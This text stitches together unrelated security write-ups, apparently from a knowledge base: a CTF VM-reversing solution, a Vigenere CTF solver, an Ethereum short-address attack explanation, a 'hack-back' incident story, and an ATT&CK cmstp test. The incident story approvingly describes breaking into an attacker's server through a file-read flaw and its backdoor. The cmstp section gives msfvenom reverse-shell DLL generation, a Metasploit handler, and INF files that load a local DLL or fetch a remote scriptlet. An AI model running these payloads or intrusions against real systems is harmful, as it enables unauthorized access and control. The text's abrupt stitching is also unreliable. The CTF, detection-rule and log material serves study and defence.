JmpConst(c) => { self.f.seek(std::io::SeekFrom::Start(c as u64))?; } PopPc => { self.f .seek(std::io::SeekFrom::Start(self.stack[self.sp - 1] as u64))?; self.sp -= 1; } Test { reg, op, reg2 } => { self.flag = match op { 0 => self.registers[reg as usize] < self.registers[reg2 as usize], 1 => self.registers[reg as usize] <= self.registers[reg2 as usize], _ => unimplemented!(), } } JmpCond(c) => { if !self.flag { self.f.seek(std::io::SeekFrom::Start(c as u64))?; } } Call(v) => { self.stack[self.sp] = self.f.stream_position().unwrap() as u32; self.sp += 1; self.f.seek(std::io::SeekFrom::Start(v as u64))?; } Strlen => { self.registers[REG_RV as usize] = INPUT_DATA.len() as u32; } CharAt => { let arg2 = self.registers[REG_ARG1 as usize]; self.registers[REG_RV as usize] = INPUT_DATA .iter() .nth(arg2 as usize) .map(|v| *v as u32) .unwrap_or(0_u32); } Print => { let stdout = std::io::stdout(); let mut lock = stdout.lock(); lock.write_all(&[self.registers[REG_ARG0 as usize] as u8])?; lock.flush()?; } Exit => { std::process::exit(0); } }; Ok(()) } } fn main() -> std::io::Result<()> { if let Some(path) = std::env::args().nth(1) { let mut vm = Vm::new(path)?; loop { vm.step()?; } } else { println!("Missing ROM"); Ok(()) } } ``` This looks like the implementation of a VM. Let's run it: ```console ┌──(user@kali)-[/media/…/google/18_Unknown_-_Master_Office/files/vm-cli] └─$ cargo build Compiling vm v0.1.0 (/media/sf_CTFs/google/18_Unknown_-_Master_Office/files/vm) Compiling vm-cli v0.1.0 (/media/sf_CTFs/google/18_Unknown_-_Master_Office/files/vm-cli) Finished dev [unoptimized + debuginfo] target(s) in 16.26s ┌──(user@kali)-[/media/…/google/18_Unknown_-_Master_Office/files/vm-cli] └─$ ./target/debug/vm-cli ../vm.rom CTF{ThisIsAVeryLongFlagA^C ``` The program starts printing the flag, but gets slower and slower with each character printed. We'll have to understand the algorithm and try to optimize it. We'll do that by utilizing the disassembler logic within the cli we've received. So, in `main.rs`, we modify `step` to the following: ```rust fn step(&mut self) -> std::io::Result<()> { let pos = self.f.stream_position()?; let instruction = Instruction::read(&mut self.f)?; println!("0x{:03X}:\t{}", pos, instruction); Ok(()) } ``` We run the modified program and get the disassembly: ```console ┌──(user@kali)-[/media/…/google/18_Unknown_-_Master_Office/files/vm-cli] └─$ ./target/debug/vm-cli ../vm.rom 0x000: mov 'i', 0x00000000 0x006: mov '\u{1}', 'i' 0x009: call 0xBC 0x00E: exit 0x00F: ret 0x010: push 'G' 0x012: mov 'G', '\u{1}' 0x015: mov 'i', 0x00000000 0x01B: test 'G', 1, 'i' 0x01F: jmpc 0x30 0x024: mov 'i', 0x00000000 0x02A: mov '\u{0}', 'i' 0x02D: pop 'G' 0x02F: ret 0x030: mov 'i', 0x00000100 0x036: test 'G', 0, 'i' 0x03A: jmpc 0x45 0x03F: mov '\u{0}', 'G' 0x042: pop 'G' 0x044: ret 0x045: mov 'i', 0x00000100 0x04B: 'i' = alu('G', 4, 'i' 0x050: mov '\u{1}', 'i' 0x053: call 0x10 0x058: pop 'G' 0x05A: ret 0x05B: pop 'G' 0x05D: ret 0x05E: push 'G' 0x060: mov 'G', '\u{1}' 0x063: mov 'i', 0x00000002 0x069: test 'G', 1, 'i' 0x06D: jmpc 0x7E 0x072: mov 'i', 0x00000001 0x078: mov '\u{0}', 'i' 0x07B: pop 'G' 0x07D: ret 0x07E: mov 'i', 0x00000001 0x084: 'i' = alu('G', 4, 'i' 0x089: mov '\u{1}', 'i' 0x08C: call 0x5E 0x091: mov 'x', '\u{0}' 0x094: push 'x' 0x096: mov 'i', 0x00000002 0x09C: 'i' = alu('G', 4, 'i' 0x0A1: mov '\u{1}', 'i' 0x0A4: call 0x5E 0x0A9: pop 'x' 0x0AB: mov 'y', '\u{0}' 0x0AE: 'i' = alu('x', 3, 'y' 0x0B3: mov '\u{0}', 'i' 0x0B6: pop 'G' 0x0B8: ret 0x0B9: pop 'G' 0x0BB: ret 0x0BC: push 'G' 0x0BE: mov 'G', '\u{1}' 0x0C1: mov '\u{1}', 'B' 0x0C4: call Strlen 0x0C5: test 'G', 0, '\u{0}' 0x0C9: jmpc 0x12F 0x0CE: mov '\u{1}', 'B' 0x0D1: mov '\u{2}', 'G' 0x0D4: call CharAt 0x0D5: mov 'H', '\u{0}' 0x0D8: push 'H' 0x0DA: push 'H' 0x0DC: mov 'i', 0x00000001 0x0E2: 'i' = alu('G', 3, 'i' 0x0E7: mov '\u{1}', 'i' 0x0EA: call 0x5E 0x0EF: pop 'H' 0x0F1: 'i' = alu('G', 3, '\u{0}' 0x0F6: 'i' = alu('H', 3, 'i' 0x0FB: mov '\u{1}', 'i' 0x0FE: call 0x10 0x103: pop 'H' 0x105: mov 'H', '\u{0}' 0x108: push 'H' 0x10A: push 'H' 0x10C: mov '\u{1}', 'H' 0x10F: chall Print 0x110: pop 'H' 0x112: pop 'H' 0x114: push 'H' 0x116: push 'H' 0x118: mov 'i', 0x00000001 0x11E: 'i' = alu('G', 3, 'i' 0x123: mov '\u{1}', 'i' 0x126: call 0xBC 0x12B: pop 'H' 0x12D: pop 'H' 0x12F: pop 'G' 0x131: ret Error: Error { kind: UnexpectedEof, message: "failed to fill whole buffer" } ``` Now, the straightforward thing to do would be to reverse the disassembly and analyze the flow. We're going to take a shortcut and translate the disassembly to x64 syntax, then utilize Ghidra's decomplier to reconstruct the high-level functions. Translating the disassembly is pretty straightforward, and without too much overhead we get the following code, saved to `vm.S`: ```assembly #define REG_RV rax // '\u{0}' #define REG_ARG0 rdi // '\u{1}' #define REG_ARG1 rsi // '\u{2}' #define REG_G rbx #define REG_H r10 #define REG_x r11 #define REG_y r12 #define REG_B r13 #define REG_i r14 #define REG_TMP r15 .intel_syntax noprefix .global run_vm run_vm: mov REG_i, 0 # 0x000: mov 'i', 0x00000000 mov REG_ARG0, REG_i # 0x006: mov '\u{1}', 'i' call func_bc # 0x009: call 0xBC # 0x00E: exit ret # 0x00F: ret func_10: push REG_G # 0x010: push 'G' mov REG_G, REG_ARG0 # 0x012: mov 'G', '\u{1}' mov REG_i, 0 # 0x015: mov 'i', 0x00000000 cmp REG_G, REG_i # 0x01B: test 'G', 1, 'i' jg lab_30 # 0x01F: jmpc 0x30 mov REG_i, 0 # 0x024: mov 'i', 0x00000000 mov REG_RV, REG_i # 0x02A: mov '\u{0}', 'i' pop REG_G # 0x02D: pop 'G' ret # 0x02F: ret lab_30: mov REG_i, 0x100 # 0x030: mov 'i', 0x00000100 cmp REG_G, REG_i # 0x036: test 'G', 0, 'i' jge lab_45 # 0x03A: jmpc 0x45 mov REG_RV, REG_G # 0x03F: mov '\u{0}', 'G' pop REG_G # 0x042: pop 'G' ret # 0x044: ret lab_45: mov REG_i, 0x100 # 0x045: mov 'i', 0x00000100 mov REG_TMP, REG_G # 0x04B: 'i' = alu('G', 4, 'i') sub REG_TMP, REG_i mov REG_i, REG_TMP mov REG_ARG0, REG_i # 0x050: mov '\u{1}', 'i' call func_10 # 0x053: call 0x10 pop REG_G # 0x058: pop 'G' ret # 0x05A: ret pop REG_G # 0x05B: pop 'G' ret # 0x05D: ret func_5e: push REG_G # 0x05E: push 'G' mov REG_G, REG_ARG0 # 0x060: mov 'G', '\u{1}' mov REG_i, 0x2 # 0x063: mov 'i', 0x00000002 cmp REG_G, REG_i # 0x069: test 'G', 1, 'i' jg lab_7e # 0x06D: jmpc 0x7E mov REG_i, 1 # 0x072: mov 'i', 0x00000001 mov REG_RV, REG_i # 0x078: mov '\u{0}', 'i' pop REG_G # 0x07B: pop 'G' ret # 0x07D: ret lab_7e: mov REG_i, 1 # 0x07E: mov 'i', 0x00000001 mov REG_TMP, REG_G # 0x084: 'i' = alu('G', 4, 'i') sub REG_TMP, REG_i mov REG_i, REG_TMP mov REG_ARG0, REG_i # 0x089: mov '\u{1}', 'i' call func_5e # 0x08C: call 0x5E mov REG_x, REG_RV # 0x091: mov 'x', '\u{0}' push REG_x # 0x094: push 'x' mov REG_i, 2 # 0x096: mov 'i', 0x00000002 mov REG_TMP, REG_G # 0x09C: 'i' = alu('G', 4, 'i') sub REG_TMP, REG_i mov REG_i, REG_TMP mov REG_ARG0, REG_i # 0x0A1: mov '\u{1}', 'i' call func_5e # 0x0A4: call 0x5E pop REG_x # 0x0A9: pop 'x' mov REG_y, REG_RV # 0x0AB: mov 'y', '\u{0}' mov REG_TMP, REG_x # 0x0AE: 'i' = alu('x', 3, 'y') add REG_TMP, REG_y mov REG_i, REG_TMP mov REG_RV, REG_i # 0x0B3: mov '\u{0}', 'i' pop REG_G # 0x0B6: pop 'G' ret # 0x0B8: ret pop REG_G # 0x0B9: pop 'G' ret # 0x0BB: ret func_bc: push REG_G # 0x0BC: push 'G' mov REG_G, REG_ARG0 # 0x0BE: mov 'G', '\u{1}' mov REG_ARG0, REG_B # 0x0C1: mov '\u{1}', 'B' call Strlen # 0x0C4: call Strlen cmp REG_G, REG_RV # 0x0C5: test 'G', 0, '\u{0}' jge lab_12f # 0x0C9: jmpc 0x12F mov REG_ARG0, REG_B # 0x0CE: mov '\u{1}', 'B' mov REG_ARG1, REG_G # 0x0D1: mov '\u{2}', 'G' call charAt # 0x0D4: call CharAt mov REG_H, REG_RV # 0x0D5: mov 'H', '\u{0}' push REG_H # 0x0D8: push 'H' push REG_H # 0x0DA: push 'H' mov REG_i, 1 # 0x0DC: mov 'i', 0x00000001 mov REG_TMP, REG_G # 0x0E2: 'i' = alu('G', 3, 'i') add REG_TMP, REG_i mov REG_i, REG_TMP mov REG_ARG0, REG_i # 0x0E7: mov '\u{1}', 'i' call func_5e # 0x0EA: call 0x5E pop REG_H # 0x0EF: pop 'H' mov REG_TMP, REG_G # 0x0F1: 'i' = alu('G', 3, '\u{0}') add REG_TMP, REG_RV mov REG_i, REG_TMP mov REG_TMP, REG_H # 0x0F6: 'i' = alu('H', 3, 'i') add REG_TMP, REG_i mov REG_i, REG_TMP mov REG_ARG0, REG_i # 0x0FB: mov '\u{1}', 'i' call func_10 # 0x0FE: call 0x10 pop REG_H # 0x103: pop 'H' mov REG_H, REG_RV # 0x105: mov 'H', '\u{0}' push REG_H # 0x108: push 'H' push REG_H # 0x10A: push 'H' mov REG_ARG0, REG_H # 0x10C: mov '\u{1}', 'H' call Print # 0x10F: call Print pop REG_H # 0x110: pop 'H' pop REG_H # 0x112: pop 'H' push REG_H # 0x114: push 'H' push REG_H # 0x116: push 'H' mov REG_i, 1 # 0x118: mov 'i', 0x00000001 mov REG_TMP, REG_G # 0x11E: 'i' = alu('G', 3, 'i') add REG_TMP, REG_i mov REG_i, REG_TMP mov REG_ARG0, REG_i # 0x123: mov '\u{1}', 'i' call func_bc # 0x126: call 0xBC pop REG_H # 0x12B: pop 'H' pop REG_H # 0x12D: pop 'H' lab_12f: pop REG_G # 0x12F: pop 'G' ret # 0x131: ret ``` We also create `vm_main.c` with implementation for the named functions: ```c #include <stdio.h> #include <stdint.h> uint8_t input_data[] = { 66, 82, 66, 117, 75, 91, 86, 87, 31, 51, 222, 187, 112, 236, 9, 98, 34, 69, 0, 198, 150, 29, 96, 10, 69, 26, 253, 225, 164, 8, 110, 67, 102, 108, 103, 162, 209, 1, 173, 130, 186, 5, 123, 109, 187, 215, 86, 232, 23, 215, 184, 79, 171, 232, 128, 67, 138, 153, 251, 92, 4, 94, 93, }; void run_vm(); uint64_t Strlen() { return sizeof(input_data); } uint64_t charAt(uint64_t dummy, uint64_t index) { return input_data[index]; } void Print(uint64_t c) { printf("%c", c); } int main(int argc, char* argv[]) { setbuf(stdout, NULL); run_vm(); return 0; } ``` The main thing we have to keep in mind when we map x64 registers to the VM registers is to make sure that the registers used to send arguments to the named functions (e.g. `charAt`, `Print`) are indeed the registers that will be used by `gcc` when compiling the program. According to the convention, `rdi` and `rsi` are used as the first two arguments to functions, so they are mapped to `REG_ARG0` and `REG_ARG1`. Obviously the return value (`REG_RV`) is mapped to `rax`. The rest of the mapping doesn't really matter. For convenience, we also create a `Makefile`: ```makefile CC = gcc all: solve clean: rm -f *.o vm.o: vm.S $(CC) -masm=intel -c vm.S -o vm.o vm_main.o: vm_main.c $(CC) -c vm_main.c -o vm_main.o solve: vm.o vm_main.o $(CC) vm.o vm_main.o -o solve ``` Let's run it: ```console ┌──(user@kali)-[/media/sf_CTFs/google/18_Unknown_-_Master_Office] └─$ make gcc -masm=intel -c vm.S -o vm.o gcc -c vm_main.c -o vm_main.o gcc vm.o vm_main.o -o solve ┌──(user@kali)-[/media/sf_CTFs/google/18_Unknown_-_Master_Office] └─$ ./solve CTF{ThisIsAVeryLongFlagAndYouMightRunOutzsh: segmentation fault ./solve ``` So far, so good. Now we open it in Ghidra: ```c void run_vm(void) { func_bc(0); return; } void func_bc(long param_1) { long lVar1; long lVar2; undefined8 unaff_R13; lVar1 = Strlen(); if (param_1 < lVar1) { lVar1 = charAt(unaff_R13,param_1); lVar2 = func_5e(param_1 + 1); lVar1 = func_10(lVar1 + param_1 + lVar2); Print(lVar1); func_bc(param_1 + 1); } return; } long func_5e(long param_1) { long lVar1; long lVar2; if (param_1 < 3) { return 1; } lVar1 = func_5e(param_1 + -1); lVar2 = func_5e(param_1 + -2); return lVar1 + lVar2; } long func_10(long param_1) { long lVar1; if (param_1 < 1) { return 0; } if (param_1 < 0x100) { return param_1; } lVar1 = func_10(param_1 + -0x100); return lVar1; } ``` This is much better. So `func_5e` is used to calculate the fibonacci series and `func_10` is an expensive way of performing modulus. Let's re-implement these functions in an efficient manner: ```c #include <stdio.h> #include <stdint.h> uint8_t input_data[] = { 66, 82, 66, 117, 75, 91, 86, 87, 31, 51, 222, 187, 112, 236, 9, 98, 34, 69, 0, 198, 150, 29, 96, 10, 69, 26, 253, 225, 164, 8, 110, 67, 102, 108, 103, 162, 209, 1, 173, 130, 186, 5, 123, 109, 187, 215, 86, 232, 23, 215, 184, 79, 171, 232, 128, 67, 138, 153, 251, 92, 4, 94, 93, }; uint64_t Strlen() { return sizeof(input_data); } uint64_t charAt(uint64_t dummy, uint64_t index) { return input_data[index]; } void Print(uint64_t c) { printf("%c", c); } long fibonacci(long n) { int i; long a; long b; long c; if (n < 2) { return 1; } a = 1; b = 1; for (i = 2; i < n; i++) { c = a + b; a = b; b = c; } return b; } long mod(long n) { return n % 0x100; } void decode(long index) { long lVar1; long lVar2; long length; length = Strlen(); while (index < length) { lVar1 = charAt(0, index); lVar2 = fibonacci(index + 1); lVar1 = mod(lVar1 + index + lVar2); Print(lVar1); index += 1; } } void run_vm(void) { decode(0); return; } int main(int argc, char* argv[]) { setbuf(stdout, NULL); run_vm(); return 0; } ``` We run and get the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/google/18_Unknown_-_Master_Office] └─$ gcc vm_efficient.c -o vm_efficient && ./vm_efficient CTF{ThisIsAVeryLongFlagAndYouMightRunOutOfJuiceWhileDecodingIt} ```
sec-knowleage
# Vigenere 3d (Crypto, 100p) In the task we get the code: ```python import sys def _l(idx, s): return s[idx:] + s[:idx] def main(p, k1, k2): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 c = "" for a in p: c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])] i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return c print main(sys.argv[1], sys.argv[2], sys.argv[2][::-1]) ``` And a call log: ``` $ python Vigenere3d.py SECCON{**************************} ************** POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9 ``` We know that the flag has format: `SECCON{**************************}`, key has 14 characters and ciphertext is `POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9`. First thing to prepare is decryption function, to use once we manage to recover the key: ```python def decrypt(ct, k1, k2): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 decrypted = "" for a in ct: for c in s: if t[s.find(c)][s.find(k1[i1])][s.find(k2[i2])] == a: decrypted += c break i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return decrypted ``` This is a very naive brute-force decryptor, but we don't need anything more fancy. Now we need to somehow recover the encryption key. It's easy to notice that this enryption can generate identical ciphertexts for many different keys. In fact for any chosen key character at position `x` there is a corresponding character at position `13-x` which will produce the right ciphertext character from the plaintext. This is simply because array `t` contains all possible combinations. This means we actually need to recover only 7 characters of the key, because they will automatically fix the other 7 characters. We can run: ```python def recover_key(known_prefix, ciphertex): final_key = ['*'] * 14 for pos in range(7): for c in s: partial_candidate_key = ['*'] * 14 partial_candidate_key[pos] = c partial_candidate_key[13 - pos] = c key = "".join(partial_candidate_key) res = encrypt(known_prefix, key, key[::-1]) if res[pos] == ciphertex[pos]: final_key[pos] = c final_key[13 - pos] = c print "".join(final_key) return "".join(final_key) ``` To generate a key which will be a palindrome. We could just as well always set `partial_candidate_key[13 - pos] = 'A'` or any other fixed character. Once we run this, we recover the key and can decrypt the flag: `SECCON{Welc0me_to_SECCON_CTF_2017}` Full solver [here](vigenere.py)
sec-knowleage
# Short Address Attack ## 原理 短地址攻击,利用 EVM 在参数长度不够时自动在右方补 0 的特性,通过去除钱包地址末位的 0,达到将转账金额左移放大的效果。 ## 例子 ```solidity pragma solidity ^0.4.10; contract Coin { address owner; mapping (address => uint256) public balances; modifier OwnerOnly() { require(msg.sender == owner); _; } function ICoin() { owner = msg.sender; } function approve(address _to, uint256 _amount) OwnerOnly { balances[_to] += _amount; } function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount); balances[msg.sender] -= _amount; balances[_to] += _amount; } } ``` 具体代币功能的合约 Coin,当 A 账户向 B 账户转代币时调用 `transfer()` 函数,例如 A 账户(0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向 B 账户(0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db)转 8 个 Coin,`msg.data` 数据为: ``` 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2db -> B 账户地址(前补 0 补齐 32 字节) 0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) ``` 那么短地址攻击是怎么做的呢,攻击者找到一个末尾是 `00` 账户地址,假设为 0x4b0897b0513fdc7c541b6d9d7e929c4e5364d200,那么正常情况下整个调用的 `msg.data` 应该为: ``` 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 -> B 账户地址(注意末尾 00) 0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) ``` 但是如果我们将 B 地址的 `00` 吃掉,不进行传递,也就是说我们少传递 1 个字节变成 4+31+32: ``` 0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2 -> B 地址(31 字节) 0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前补 0 补齐 32 字节) ``` 当上面数据进入 EVM 进行处理时,对参数进行编码对齐后补 `00` 变为: ``` 0xa9059cbb 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 0000000000000000000000000000000000000000000000000000000000000800 ``` 也就是说,恶意构造的 `msg.data` 通过 EVM 解析补 0 操作,导致原本 0x8 = 8 变为了 0x800 = 2048 上述 EVM 对畸形字节的 `msg.data` 进行补位操作的行为其实就是短地址攻击的原理 ## 题目 这个目前没有题目,基本已经被修复。不过可以复现成功,但是不能通过 Remix 复现,因为客户端会检查地址长度;也不能通过 sendTransaction(),因为 `web3` 中也加了保护。 但是,可以使用 **geth** 搭建私链,使用 sendRawTransaction() 发送交易复现,可自行尝试。 !!! note 注:目前主要依靠客户端主动检查地址长度来避免该问题,另外 `web3` 层面也增加了参数格式校验。虽然 EVM 层仍然可以复现,但是在实际应用场景中基本没有问题。
sec-knowleage
# 反攻的一次溯源 -- 项目实战3 ## 事件过程 某厂商通过日志分析发现可疑 IP,但是日志记录里显示该 IP 的行为是频繁地登陆内网,并无发现有攻击的迹象,因此无法下手进行内网安全的加固和清除后门。而且显示的是外国 IP,无法确定是真实 IP 还是代理 IP,因此无法定位攻击者的地理位置。 **思路:** 反入侵得到攻击者机器权限 -> 入侵现场还原,摸清入侵思路 -> 并且须知入侵者的相关后门遗留,以便处理后门 -> 抓取入侵者的真实IP获得地理位置 -> 并按照攻击者的攻击路线加固相关漏洞安全。 ### 一、日志分析 1. 某厂商日志:该IP 为韩国,login 状态全部为success ![](media/94c1beb0a701ac44fb49e0a422ffd944.jpg) ![](media/2721e594c24138dafca79457f1429020.jpg) 221-ip 成功,进入内网多个IP。但无其他记录,如过程,手法。无法安全加固客户内网。无法分析出哪里出现问题,只能找出起始被入侵成功的IP,需要得到攻击者的电脑权限,还原攻击过程,才可得知被攻击者的弱点并加固。 ![](media/3827dc9bd212de72570f8783f0d48057.jpg) ![](media/22dfadf43c1c8d5e87b529792ccf2e8f.jpg) 在tns日志中,oracle相关存储得到入侵者相关的存储利用。如 downfile‐smss.exe,地址为 115.231.60.76。 * 此时,我们得到2个攻击者IP,1个样本 * IP分别为韩国,河南,样本1为:smss.exe ### 二、现场还原 1. 刺探攻击者的服务器相关信息: 起初连接到入侵者IP的服务器,IP归属地为韩国,并且服务器也为韩文,非中国渠道购买,起初以为攻击者为国外人员。 ![](media/2b774af3d64d77145ca10d8ba2a93d7f.jpg) ![](media/0b66228d57ad2d5d51b3edc6527646a6.jpg) 但当刺探攻击者服务器21端口时发现并非真正的“国外黑客” ![](media/8f7e7a3a538dde2dae4bbbb31b58a7b2.jpg) 于是,暂时定为攻击者为国内,需要摸查的IP锁定为中国范围内IP **整体思路临时改为:** 需要得到该服务器的权限,查看所有登陆成功日志,找出IP以及对应时间。 **入侵思路临时改为:**该服务器为懂攻防人员所拥有,尽可能在该服务器不添加任何账号或留有明显痕迹。 ![](media/6329737942f4c65b7c4e7e789f5e2d66.jpg) 由于韩国服务器此段有DHCP记录查看应用,该应用存在loadfile漏洞,并且得知目标服务器存在 shift 后门。 攻击思路为:16进制读取 shift 后门,并unhex本地还原exe,得到样本2,本地分析该样本,从而不留痕迹得得到攻击者服务器。 至此:目前我们得到2个攻击者IP,2个样本,IP分别为韩国,河南,样本分别为smss.exe与sethc.exe。 ### 三、本地样本分析 样本1:生成替换dll。并且自启动,反链接到某IP的8080端口,并且自删除。为远控特征。 远控样本md5值: ![](media/d3b31f3a54fdb6216a622a4d64d051b9.jpg) ![](media/611ab4bd340cc2fc0c604297f42d8acf.jpg) ![](media/3cdad13867b651eba844affe7e69d5ad.jpg) 样本2:shift 后门,VB编译,并且未加壳。思路为,反汇编得到样本密码以及软件工作流程。 Shift后门样本MD5: ![](media/43800ab568907b004baeec442e405f15.jpg) ![](media/60329351b198e03e5296e740116c7ffe.jpg) 特征为密码输入错误,呼出msgbox ![](media/3f24c1396076440235e7fbc6c95cf55e.jpg) ![](media/21d1c9b86a234e59dd354e95da901db5.jpg) ![](media/d20c0ea214162b960aa1dc6d36a08135.jpg) 得到该程序相关工作流程,当输入密码正确时,调出taskmgr.exe(任务管理器)以及 cmd.exe ### 四、测试并取证 1. 输入得到的密码。 ![](media/7b161478f4ea9bf11f0e8e08924d005f.jpg) 当密码正确时呼出相关进程,并且得到system权限。 ![](media/3c2ab7b4ff5cb533f7d0c7c9ba3fa7b7.jpg) 2. 取证以及样本截留: 攻击者真实IP以及对应时间: ![](media/93bdae33a293d798b753ad6991c80955.jpg) ![](media/f35b7aa043fe354d01542029ff5fa255.jpg) 得到真实入侵者的IP归属地为:四川省眉山市 电信 并且桌面截图: ![](media/b7ebd7bfc74e6d295b6bb67c258aff7b.jpg) 再该服务器上留有大量以地名名为的 txt 文本(如 beijing.txt)。文本内容为 IP,部分内容为账号,密码,ip。其中dongbei.txt(被攻击者归属地为东北)找到某政府对应IP。 ![](media/05c7892c0be8bb3c4f245075b13b4119.jpg) ![](media/47af8c931ade9a7cbeeb61c4b41792f4.jpg) 至此通过该服务器的桌面相关软件以及相关攻击者本文记录,得知攻击者的入侵思路,以及部分后门留存位置特征等。以此回头来加固某政府内网安全以及切入点。 <p align="right">--By Micropoor </p>
sec-knowleage
xinit === 是Linux下X-Window系统的初始化程序 ## 补充说明 **xinit命令** 是Linux下X-Window系统的初始化程序,主要完成X服务器的初始化设置。 ### 语法 ```shell xinit(参数) ``` ### 参数 * 客户端选项:客户端指令及选项; * --:用于区分客户端选项和服务器端选项; * 服务器端选项:服务器端选项指令及选项。
sec-knowleage
# T1218-003-win-基于白名单Cmstp.exe执行Payload ## 来自ATT&CK的描述 微软的命令行程序CMSTP.exe用于安装连接管理器服务配置文件。CMSTP.exe将收到的安装信息文件(INF)作为参数,安装用于远程访问连接的服务配置文件。 攻击者可能会向CMSTP.exe提供带恶意命令的INF文件。与Regsvr32/"Squiblydoo"类似,CMSTP.exe可能被滥用来从远程服务器加载和执行动态链接库和/或COM脚本小程序。攻击者还可能用CMSTP.exe来绕过AppLocker及其他白名单防御,因为CMSTP.exe本身是一个合法的、已签名的微软应用。 CMSTP.exe也可能被滥用来绕过用户账号控制并通过自动升级的COM接口执行INF文件中的任意恶意命令。 ## 测试案例 Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。 微软官方文档: <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp> 说明:Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需注意x86,x64位的Cmstp调用。 Windows 2003 默认位置: ```dos C:\Windows\System32\cmstp.exe C:\Windows\SysWOW64\cmstp.exe ``` Windows 7 默认位置: ```dos C:\Windows\System32\cmstp.exe C:\Windows\SysWOW64\cmstp.exe ``` 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 ## 检测日志 windows 安全日志(需要自行配置) ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:windows 7 ### 攻击分析 #### 生成payload.dll ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -f dll -o payload.dll ``` #### 执行监听 攻击机,注意配置set AutoRunScript migrate f (AutoRunScript是msf中一个强大的自动化的后渗透工具,这里migrate参数是迁移木马到其他进程) ```bash msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/handler) > set lport 53 lport => 53 msf5 exploit(multi/handler) > set AutoRunScript migrate -f AutoRunScript => migrate -f msf5 exploit(multi/handler) > exploit ``` #### inf模板 ```inf [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] C:\payload.dll [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="12306Br0" ShortSvcName="12306Br0" ``` INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置 #### 靶机执行payload ```cmd cmstp.exe /ni /s C:\Users\12306Br0\Desktop\a\add.inf ``` #### 反弹shell 未成功获取到shell ## 测试留痕 ```log windows安全日志 事件ID: 4688 进程信息: 新进程 ID: 0x9b0 新进程名: C:\Windows\System32\cmstp.exe sysmon日志 事件ID:1 OriginalFileName: CMSTP.EXE CommandLine: cmstp.exe /ni /s C:\Users\12306Br0\Desktop\a\add.inf CurrentDirectory: C:\Windows\system32\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-5fc3-5e99-0000-0020eae10600} LogonId: 0x6e1ea TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=BA135738EF1FB2F4C2C6C610BE2C4E855A526668 ParentProcessGuid: {bb1f7c32-fdb7-5e9a-0000-0010563b2d00} ParentProcessId: 1988 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ``` ## inf文件内容 ```inf [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Micropoor" ShortSvcName="Micropoor" ``` ## 检测规则/思路 ### splunk规则 ```yml index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\cmstp.exe”) OR (EventCode=10 SourceImage=”*\\cmstp.exe” ) OR (EventCode=10 CallTrace=”*CMLUA.dll*”) (EventCode IN (12,13) TargetObject=”*\\CMMGR32.exe” OR (EventCode=12 TargetObject=”HKLM\\SOFTWARE\\Microsoft\\Tracing\\cmstp*”) ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1218-003 <https://attack.mitre.org/techniques/T1218/003/> windows下基于白名单获取shell的方法整理(下) <http://www.safe6.cn/article/157#directory030494471069429444> 基于白名单Cmstp.exe执行payload第十六季 